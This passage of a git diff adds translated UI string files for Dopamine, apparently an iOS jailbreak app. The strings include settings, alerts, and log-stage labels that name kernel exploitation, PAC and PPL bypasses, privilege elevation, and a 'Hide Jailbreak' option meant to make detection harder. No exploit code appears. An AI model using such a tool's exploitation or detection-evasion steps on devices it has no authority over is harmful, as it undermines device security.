Jailbreak\" fjerner midlertidigt jailbreak-relaterede filer indtil næste jailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "For at ændringerne træder i kraft, skal du genstarte Userspace. Vil du genstarte nu?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Fjern Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Fjernelse af jailbreak vil slette alle jailbreak-relaterede filer, men alle almindelige apps, filer og data vil blive bevaret. Er du sikker på, at du vil fortsætte? Du kan ikke fortryde denne handling."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Annuller"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licens"; +"Credits_Button_Source_Code" = "Kildekode"; + +// Logs +"Initializing Environment" = "Initialiserer miljø"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Vælg Pakkehåndteringsprogram(mer)"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; + diff --git a/Application/Dopamine/de.lproj/Localizable.strings b/Application/Dopamine/de.lproj/Localizable.strings new file mode 100644 index 0000000000..498de7cd95 --- /dev/null +++ b/Application/Dopamine/de.lproj/Localizable.strings @@ -0,0 +1,122 @@ +"Credits_Made_By" = "Von opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaken"; +"Log_Error" = "Erfolglos"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Gejailbreakt"; +"Unsupported" = "Nicht unterstützt"; + +// Action Menu +"Menu_Settings_Title" = "Einstellungen"; +"Menu_Restart_SpringBoard_Title" = "SpringBoard neustarten"; +"Menu_Reboot_Userspace_Title" = "Userspace-Neustart"; +"Menu_Credits_Title" = "Über"; + +// Updating +"Button_Update" = "Aktualisieren"; +"Button_Update_Available" = "Aktualisierung verfügbar"; +"Button_Update_Environment" = "Umgebung aktualisieren"; + +// Update View +"Update_Status_Downloading" = "Lade Aktualisierung herunter..."; +"Update_Status_Subtitle_Please_Wait" = "Bitte warte, bis die Dateien heruntergeladen wurden"; +"Update_Status_Installing" = "Installiere Aktualisierung..."; +"Update_Status_Subtitle_Restart_Soon" = "Das Gerät wird bald neustarten"; +"Title_Changelog" = "Changelog"; +"Changelog_Unavailable_Text" = "Changelog nicht verfügbar"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Jailbreak entfernt"; +"Removed_Jailbreak_Alert_Message" = "Der Jailbreak wurde erfolgreich entfernt. Eine Geräte-Neustart wird empfohlen."; +"Button_Close" = "Schließen"; + +// Error View +"Button_Share" = "Teilen"; +"Button_Reboot" = "Neustarten"; + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweaks laden"; +"Settings_iDownload" = "iDownload (Entwickler-Terminal)"; +"Settings_Verbose_Logs" = "Detaillierte Logs"; +"Settings_Apps_JIT" = "Erlaube JIT in Apps"; +"Settings_Allow_Old_arm64e_ABI_Libraries" = "Erlaube veraltete arm64e ABI"; +"Settings_Jetsam_Multiplier" = "Jetsam Multiplikator"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "Jailbreak entfernen"; +"Button_Hide_Jailbreak" = "Jailbreak verstecken"; +"Button_Unhide_Jailbreak" = "Jailbreak wieder anzeigen"; +"Button_Refresh_Jailbreak_Apps" = "Jailbreak Apps erneuern"; +"Button_Reinstall_Package_Managers" = "Packet-Manager neuinstallieren"; +"Button_Change_Mobile_Password" = "\"mobile\" Passwort ändern"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Jailbreak verstecken\" entfernt die Jailbreak Dateien temporär bis zum nächsten Jailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Jailbreak verstecken\" deaktiviert den Jailbreak teilweise und versucht das Erkennen des Jailbreaks zu erschweren. Es ist allerdings nicht 100% effektiv und verbirgt aktuell nicht alles."; +"Section_Jailbreak_Settings" = "Jailbreak Einstellungen"; +"Section_Actions" = "Aktionen"; +"Section_Customization" = "Design"; +"Section_Exploits" = "Exploits"; +"Section_Boot_Logo" = "Boot-Logo"; +"Jetsam_Description" = "Jetsam ist ein System-Feature, welches Prozesse, die vorgegebene Speicherlimit überschreiten, automatisch beendet. Wenn viele Tweaks installiert wurden, kann es passieren, dass Prozesse direkt nach dem Start beendet werden, was diese in eine Absturzschleife versetzen kann. Hier kann ein Multiplikator gewählt werden, mit welchem jedes Speicherlimit, das vom System gesetzt wird, multipliziert wird. Erhöhe diese Einstellung, falls unterwünschtes Systemverhalten bei einer hohen Anzahl von installierten Tweaks auftritt. Um den Speicherverbrauch des Systems nicht negativ zu beeinflussen, wird empfohlen die kleinstmögliche Einstellung zu wählen, unter welcher das System stabil läuft."; +"Enabled" = "Aktiviert"; +"Custom_Boot_Logo" = "Benutzerdefiniertes Boot-Logo"; +"Select_Image" = "Bild auswählen"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Userspace-Neustart erforderlich"; +"Alert_Tweak_Injection_Toggled_Body" = "Um die Änderungen anzuwenden ist ein Userspace-Neustart erforderlich, soll dieser jetzt durchgeführt werden?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "Jetzt neustarten"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "Später neustarten"; +"Alert_Remove_Jailbreak_Title" = "Jailbreak entfernen"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Das Entfernen des Jailbreaks wird alle mit dem Jailbreak zusammenhängenden Dateien löschen, alle regulären Apps, Dateien und Daten bleiben erhalten. Diese Aktion kann nicht rückgangig gemacht werden, bist du sicher?"; +"Alert_Remove_Jailbreak_Enabled_Body" = "Das Aktivieren von \"Jailbreak entfernen\" wird beim nächsten Jailbreak alle mit dem Jailbreak zusammenhängenden Dateien löschen, alle regulären Apps, Dateien und Daten bleiben erhalten. Diese Aktion kann nicht rückgangig gemacht werden, bist du sicher?"; +"Alert_Change_Mobile_Password_Body" = "Setzte das Passwort des \"mobile\" Benutzers von deinem Gerät, dieses Passwort kann ebenfalls für Root-Zugriff via sudo verwendet werden. Um das Root-Passwort zu setzen kann der Befehl \"sudo passwd root\" innerhalb einer mobile-Shell verwendet werden."; +"Password_Placeholder" = "Passwort"; +"Repeat_Password_Placeholder" = "Passwort wiederholen"; +/*Password_Auth_Required*/ +"Button_Change" = "Ändern"; +"Button_Cancel" = "Abbrechen"; +"Button_Continue" = "Weiter"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Es existieren mehrere Apps mit unter der Kennung \"%@\" in Dopamines App-Ordner (\"%@\"). Fortfahren des Jailbreaks nicht möglich."; +"Duplicate_Apps_Error_User_App" = "Die Apps mit der Kennung %@ existieren in Dopamines App-Ordner (\"%@\"), sind aber separat ebenfalls auf dem System installiert. Fortfahren des Jailbreaks nicht möglich."; +"Duplicate_Apps_Error_Icon_Cache" = "Die App mit der Kennung \"%@\" existiert in Dopamines App-Ordner (\"%@\") aber ist ebenfalls im Icon-Cache unter einem anderen Pfad (\"%@\") registriert. Fortfahren des Jailbreaks nicht möglich."; + +// Settings Lists +"Theme" = "Farbschema"; +"Kernel Exploit" = "Kernel Exploit"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +"None" = "Keiner"; +"Recommended" = "Empfohlen"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Lizenz"; +"Credits_Button_Source_Code" = "Quellcode"; + +// Logs +"Initializing Environment" = "Initialisiere Umgebung"; +"Initializing Protection" = "Initialisiere Schutz"; +"Loading BaseBin TrustCache" = "Lade BaseBin TrustCache"; +"Applying Bind Mount" = "Wende Bind Mount an"; +"Removing Jailbreak" = "Entferne Jailbreak"; +"Elevating Privileges" = "Erhöhe Berechtigungen"; +"Cleaning Up Exploits" = "Räume Exploits auf"; +"Building Phys R/W Primitive" = "Baue Phys R/W Primitive"; +"Rebooting Userspace" = "Reboote Userspace"; +"Patchfinding" = "Finde Patches"; +"Exploiting Kernel (%@)" = "Exploite Kernel (%@)"; +"Bypassing PAC (%@)" = "Umgehe PAC (%@)"; +"Bypassing PPL (%@)" = "Umgehe PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Paket Manager auswählen"; +"Select_Package_Managers_Install_Message" = "Bei Unklarheiten, wähle Sileo aus"; +"Continue" = "Fortsetzen"; + diff --git a/Application/Dopamine/el.lproj/Localizable.strings b/Application/Dopamine/el.lproj/Localizable.strings new file mode 100644 index 0000000000..73fdd32d9a --- /dev/null +++ b/Application/Dopamine/el.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Δημιουργήθηκε από opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "Αποτυχία"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Ρυθμίσεις"; +"Menu_Restart_SpringBoard_Title" = "Επανεκκίνηση SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Επανεκκίνηση Userspace"; +"Menu_Credits_Title" = "Ειδική μνεία"; + +// Updating +"Button_Update" = "Ενημέρωση"; +"Button_Update_Available" = "Διαθέσιμη ενημέρωση"; +"Button_Update_Environment" = "Ενημέρωση Περιβάλλοντος"; + +// Update View +"Update_Status_Downloading" = "Λήψη αναβάθμισης..."; +"Update_Status_Subtitle_Please_Wait" = "Παρακαλώ αναμείνατε την ολοκλήρωση λήψης των αρχείων"; +"Update_Status_Installing" = "Εγκατάσταση αναβάθμισης..."; +"Update_Status_Subtitle_Restart_Soon" = "Η συσκευή θα επανεκκινήσει σύντομα"; +"Title_Changelog" = "Αρχείο αλλαγών"; +"Changelog_Unavailable_Text" = "Αρχείο αλλαγών μη διαθέσιμο"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Ενσωμάτωση Tweak"; +"Settings_iDownload" = "iDownload (Τερματικό προγραμματιστή)"; +"Settings_Verbose_Logs" = "Λεπτομερής καταγραφή"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Αφαίρεση Jailbreak"; +"Button_Hide_Jailbreak" = "Απόκρυψη Jailbreak"; +"Button_Unhide_Jailbreak" = "Επανεμφάνιση Jailbreak"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Επανεγκατάσταση εφαρμοφών διαχείρισης πακέτων"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Απόκρυψη Jailbreak\" Αφαιρεί προσωρινά τα αρχεία που σχετίζονται με το jailbreak μέχρι το απόμενο jailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Απόκρυψη Jailbreak\" απενεργοποιεί μερικώς το jailbreak στοχεύοντας να κάνει την ανίχνευση του δυσκολότερη. Ωστόσο, δεν είναι απολύτως αποτελεσματικό και δεν το αποκρύπτει ολικώς."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "Για να εφαρμοστούν οι αλλαγές, πρέπει να γίνει επανεκκίνηση Userspace. Θέλεις να γίνει επανεκκίνηση τώρα;"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Αφαίρεση Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Η αφαίρεση του jailbreak θα διαγράψει όλα τα αρχεία που σχετίζονται με το jailbreak, αλλά όλες οι συνήθεις εφαρμογές, αρχεία και δεδομένα θα διατηρηθούν. Είστε σίγουροι πως θέλετε να συνεχίσετε; Δεν μπορείτε να αντιστρέψετε αυτή την ενέργεια."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Ακύρωση"; +"Button_Continue" = "Continue"; + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Άδεια χρήσης"; +"Credits_Button_Source_Code" = "Πηγαίος κώδικας"; + +// Logs +"Initializing Environment" = "Αρχικοποίηση Περιβάλλοντος"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Επιλογή εφαρμογής/ών διαχείρισης πακέτων"; +"Select_Package_Managers_Install_Message" = "Αν δεν είστε σίγουροι, επιλέξτε το Sileo"; +"Continue" = "Συνέχεια"; + diff --git a/Application/Dopamine/en.lproj/Localizable.strings b/Application/Dopamine/en.lproj/Localizable.strings new file mode 100644 index 0000000000..2198fda7cb --- /dev/null +++ b/Application/Dopamine/en.lproj/Localizable.strings @@ -0,0 +1,121 @@ +"Credits_Made_By" = "by opa334, ElleKit by évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "Error"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +"Unsupported" = "Unsupported"; + +// Action Menu +"Menu_Settings_Title" = "Settings"; +"Menu_Restart_SpringBoard_Title" = "Restart SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Reboot Userspace"; +"Menu_Credits_Title" = "Credits"; + +// Updating +"Button_Update" = "Update"; +"Button_Update_Available" = "Update Available"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Downloading update..."; +"Update_Status_Subtitle_Please_Wait" = "Please wait while files finish downloading"; +"Update_Status_Installing" = "Installing update..."; +"Update_Status_Subtitle_Restart_Soon" = "The device will restart soon"; +"Title_Changelog" = "Changelog"; +"Changelog_Unavailable_Text" = "Changelog Unavailable"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Removed Jailbreak"; +"Removed_Jailbreak_Alert_Message" = "Successfully removed jailbreak. Rebooting the device is recommended."; +"Button_Close" = "Close"; + +// Error View +"Button_Share" = "Share"; +"Button_Reboot" = "Reboot"; + +// Settings Options +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (Developer Shell)"; +"Settings_Verbose_Logs" = "Verbose Logs"; +"Settings_Apps_JIT" = "Allow JIT in Apps"; +"Settings_Allow_Old_arm64e_ABI_Libraries" = "Allow Legacy arm64e Libraries"; +"Settings_Jetsam_Multiplier" = "Jetsam Multiplier"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "Remove Jailbreak"; +"Button_Hide_Jailbreak" = "Hide Jailbreak"; +"Button_Unhide_Jailbreak" = "Unhide Jailbreak"; +"Button_Refresh_Jailbreak_Apps" = "Refresh Jailbreak Apps"; +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +"Button_Change_Mobile_Password" = "Change \"mobile\" Password"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Hide Jailbreak\" temporarily removes jailbreak-related files until the next rejailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +"Section_Jailbreak_Settings" = "Jailbreak Settings"; +"Section_Actions" = "Actions"; +"Section_Customization" = "Customization"; +"Section_Exploits" = "Exploits"; +"Section_Boot_Logo" = "Boot Logo"; +"Jetsam_Description" = "Jetsam is a system feature that will automatically kill processes whose memory usage exceeds a specified limit. When many tweaks are installed, it is possible for this limit to be exceeded right at launch, causing processes to crash loop. Here you can select a multiplier that the memory limit of all processes launched with a memory limit will be multiplied by. Increase this setting when stuff is crash looping or if you encounter weird system behaviour when a large number of tweaks are installed. To not negatively impact the memory usage of the entire system, it is recommended to select the lowest option under which the system is stable."; +"Enabled" = "Enabled"; +"Custom_Boot_Logo" = "Custom Boot Logo"; +"Select_Image" = "Select Image"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Userspace Reboot Required"; +"Alert_Tweak_Injection_Toggled_Body" = "A userspace reboot is neccessary to apply the changes. Do you want to do it now?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "Reboot Now"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "Reboot Later"; +"Alert_Remove_Jailbreak_Title" = "Remove Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Removing jailbreak will delete all jailbreak-related files, but all regular apps, files and data will be kept. Are you sure you want to continue? You can't undo this action."; +"Alert_Remove_Jailbreak_Enabled_Body" = "Enabling \"Remove Jailbreak\" will delete all jailbreak-related files on the next jailbreak, but all regular apps, files and data will be kept. Are you sure you want to continue? You can't undo this action."; +"Alert_Change_Mobile_Password_Body" = "Set the password of the \"mobile\" user on your device, this can also be used for root access using sudo. If you want to set the root password, you can do so from a mobile shell using the command \"sudo passwd root\""; +"Password_Placeholder" = "Password"; +"Repeat_Password_Placeholder" = "Repeat Password"; +"Password_Auth_Required" = "Authentication is required to change your mobile password."; +"Button_Change" = "Change"; +"Button_Cancel" = "Cancel"; +"Button_Continue" = "Continue"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "There are multiple apps with the identifier \"%@\" inside Dopamines application directory (\"%@\"). Cannot continue."; +"Duplicate_Apps_Error_User_App" = "The apps with the identifiers %@ exist in Dopamines application directory (\"%@\") but are also installed separately on the system. Cannot continue."; +"Duplicate_Apps_Error_Icon_Cache" = "The app with the identifier \"%@\" exists in the Dopamine application directory (\"%@\") but is also registered in icon cache under a different path (\"%@\"). Cannot continue."; + +// Settings Lists +"Theme" = "Theme"; +"Kernel Exploit" = "Kernel Exploit"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +"None" = "None"; +"Recommended" = "Recommended"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licenses"; +"Credits_Button_Source_Code" = "Source Code"; + +// Logs +"Initializing Environment" = "Initializing Jailbreak Environment"; +"Initializing Protection" = "Initializing Protection"; +"Loading BaseBin TrustCache" = "Loading BaseBin TrustCache"; +"Applying Bind Mount" = "Applying Bind Mount"; +"Removing Jailbreak" = "Removing Jailbreak"; +"Elevating Privileges" = "Elevating Privileges"; +"Cleaning Up Exploits" = "Cleaning Up Exploits"; +"Building Phys R/W Primitive" = "Building Phys R/W Primitive"; +"Rebooting Userspace" = "Rebooting Userspace"; +"Patchfinding" = "Patchfinding"; +"Exploiting Kernel (%@)" = "Exploiting Kernel (%@)"; +"Bypassing PAC (%@)" = "Bypassing PAC (%@)"; +"Bypassing PPL (%@)" = "Bypassing PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Select Package Manager(s)"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; diff --git a/Application/Dopamine/es.lproj/Localizable.strings b/Application/Dopamine/es.lproj/Localizable.strings new file mode 100644 index 0000000000..5551986110 --- /dev/null +++ b/Application/Dopamine/es.lproj/Localizable.strings @@ -0,0 +1,116 @@ +"Credits_Made_By" = "por opa334, ElleKit por évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "Error"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +"Unsupported" = "No compatible"; + +// Action Menu +"Menu_Settings_Title" = "Ajustes"; +"Menu_Restart_SpringBoard_Title" = "Reiniciar SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Reiniciar el Espacio de Usuario"; +"Menu_Credits_Title" = "Créditos"; + +// Updating +"Button_Update" = "Actualización"; +"Button_Update_Available" = "Actualización disponible"; +"Button_Update_Environment" = "Actualizar entorno"; + +// Update View +"Update_Status_Downloading" = "Descargando actualización..."; +"Update_Status_Subtitle_Please_Wait" = "Espere mientras se descargan los archivos"; +"Update_Status_Installing" = "Instalando actualización..."; +"Update_Status_Subtitle_Restart_Soon" = "El dispositivo se reiniciará pronto"; +"Title_Changelog" = "Lista de cambios"; +"Changelog_Unavailable_Text" = "Lista de cambios no disponible"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Eliminar Jailbreak"; +"Removed_Jailbreak_Alert_Message" = "Eliminado con éxito el jailbreak. Se recomienda reiniciar el dispositivo."; +"Button_Close" = "Cerrar"; + +// Error View +"Button_Share" = "Compartir"; +"Button_Reboot" = "Reiniciar"; + +// Settings Options +"Settings_Tweak_Injection" = "Inyección de ajustes"; +"Settings_iDownload" = "iDownload (Shell de desarrollador)"; +"Settings_Verbose_Logs" = "Registros detallados"; +"Settings_Apps_JIT" = "Permitir JIT en las aplicaciones"; +"Settings_Jetsam_Multiplier" = "Multiplicador Jetsam"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "Eliminar Jailbreak"; +"Button_Hide_Jailbreak" = "Ocultar Jailbreak"; +"Button_Unhide_Jailbreak" = "Desocultar Jailbreak"; +"Button_Refresh_Jailbreak_Apps" = "Actualizar aplicaciones Jailbreak"; +"Button_Reinstall_Package_Managers" = "Reinstalar los gestores de paquetes"; +"Button_Change_Mobile_Password" = "Cambiar contraseña de \"mobile\""; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Ocultar Jailbreak\" elimina temporalmente los archivos relacionados con el jailbreak hasta el próximo rejailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Ocultar Jailbreak\" desactiva parcialmente el jailbreak y pretende hacer más difícil su detección. Sin embargo, no es del todo eficaz y no lo oculta todo."; +"Section_Jailbreak_Settings" = "Ajustes de Jailbreak"; +"Section_Actions" = "Acciones"; +"Section_Customization" = "Personalización"; +"Section_Exploits" = "Exploits"; +"Jetsam_Description" = "Jetsam es una característica del sistema que matará automáticamente los procesos cuyo uso de memoria supere un límite especificado. Cuando se instalan muchos tweaks, es posible que este límite se exceda justo en el lanzamiento, causando que los procesos se bloqueen en bucle. Aquí puede seleccionar un multiplicador por el que se multiplicará el límite de memoria de todos los procesos lanzados con un límite de memoria. Aumente este valor cuando se produzca un bucle de bloqueo o si encuentra un comportamiento extraño del sistema cuando se instala un gran número de tweaks. Para no impactar negativamente en el uso de memoria de todo el sistema, se recomienda seleccionar la opción más baja bajo la cual el sistema sea estable."; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Es necesario reiniciar el Espacio de Usuario"; +"Alert_Tweak_Injection_Toggled_Body" = "Es necesario reiniciar el Espacio de Usuario para aplicar los cambios. ¿Desea hacerlo ahora?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "Reinicie ahora"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "Reiniciar más tarde"; +"Alert_Remove_Jailbreak_Title" = "Quitar Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Al eliminar jailbreak se borrarán todos los archivos relacionados con jailbreak, pero se conservarán todas las aplicaciones, archivos y datos normales. ¿Estás seguro de que quieres continuar? No puedes deshacer esta acción"; +"Alert_Remove_Jailbreak_Enabled_Body" = "Al activar \"Quitar Jailbreak\" se eliminarán todos los archivos relacionados con el jailbreak en el próximo jailbreak, pero se conservarán todas las aplicaciones, archivos y datos normales. ¿Estás seguro de que quieres continuar? No puedes deshacer esta acción"; +"Alert_Change_Mobile_Password_Body" = "Establezca la contraseña del usuario \"mobile\" en su dispositivo, esto también se puede utilizar para el acceso root utilizando sudo. Si desea establecer la contraseña de root, puede hacerlo desde un shell móvil utilizando el comando \"sudo passwd root\""; +"Password_Placeholder" = "Contraseña"; +"Repeat_Password_Placeholder" = "Repetir contraseña"; +"Password_Auth_Required" = "Es necesario autenticarse para cambiar la contraseña del móvil."; +"Button_Change" = "Cambiar"; +"Button_Cancel" = "Cancelar"; +"Button_Continue" = "Continuar"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Existen múltiples aplicaciones con el identificador \"%@\" dentro del directorio de aplicaciones Dopamine (\"%@\"). No se puede continuar."; +"Duplicate_Apps_Error_User_App" = "Las apps con los identificadores %@ existen en el directorio de aplicaciones de Dopamine (\"%@\") pero también están instaladas por separado en el sistema. No se puede continuar"; +"Duplicate_Apps_Error_Icon_Cache" = "La app con el identificador \"%@\" existe en el directorio de aplicaciones de Dopamine (\"%@\") pero también está registrada en la caché de iconos bajo una ruta diferente (\"%@\"). No se puede continuar"; + +// Settings Lists +"Theme" = "Tema"; +"Kernel Exploit" = "Exploit del kernel"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +"None" = "Ninguno"; +"Recommended" = "Recomendado"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licencias"; +"Credits_Button_Source_Code" = "Código fuente"; + +// Logs +"Initializing Environment" = "Inicializando entorno de Jailbreak"; +"Initializing Protection" = "Inicializar la protección"; +"Loading BaseBin TrustCache" = "Cargando BaseBin TrustCache"; +"Applying Bind Mount" = "Aplicando montaje por vínculo"; +"Removing Jailbreak" = "Eliminando Jailbreak"; +"Elevating Privileges" = "Elevando privilegios"; +"Cleaning Up Exploits" = "Limpiando Exploits"; +"Building Phys R/W Primitive" = "Construcción física R/W primitiva"; +"Rebooting Userspace" = "Reiniciando el Espacio de Usuario"; +"Patchfinding" = "Buscando parches"; +"Exploiting Kernel (%@)" = "Explotando Kernel (%@)"; +"Bypassing PAC (%@)" = "Saltando PAC (%@)"; +"Bypassing PPL (%@)" = "Saltando PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Seleccione gestor(es) de paquetes"; +"Select_Package_Managers_Install_Message" = "Si no está seguro de cuál seleccionar, seleccione Sileo"; +"Continue" = "Continuar"; diff --git a/Application/Dopamine/fil.lproj/Localizable.strings b/Application/Dopamine/fil.lproj/Localizable.strings new file mode 100644 index 0000000000..701858bb43 --- /dev/null +++ b/Application/Dopamine/fil.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Ginawa ito ni opa334 at évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "Error"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +"Unsupported" = "Hindi suportado"; + +// Action Menu +"Menu_Settings_Title" = "Opsiyon"; +"Menu_Restart_SpringBoard_Title" = "i-Restart ang SpringBoard"; +"Menu_Reboot_Userspace_Title" = "i-Reboot ang Userspace"; +"Menu_Credits_Title" = "Mga Kredito"; + +// Updating +"Button_Update" = "i-Update"; +"Button_Update_Available" = "Meroong available na bagong update"; +"Button_Update_Environment" = "i-Update ang Environment"; + +// Update View +"Update_Status_Downloading" = "Dina-Download ang bagong update..."; +"Update_Status_Subtitle_Please_Wait" = "Antayin ang pag-dodownload ng mga files"; +"Update_Status_Installing" = "Ini-install ang update..."; +"Update_Status_Subtitle_Restart_Soon" = "Ang device ay mag-rerestart maya-maya"; +"Title_Changelog" = "Mga Pagbabago"; +"Changelog_Unavailable_Text" = "Ang mga Pagbabago ay hindi available"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Tinanggal ang Jailbreak"; +"Removed_Jailbreak_Alert_Message" = "Matagumpay na tinanggal ang Jailbreak. 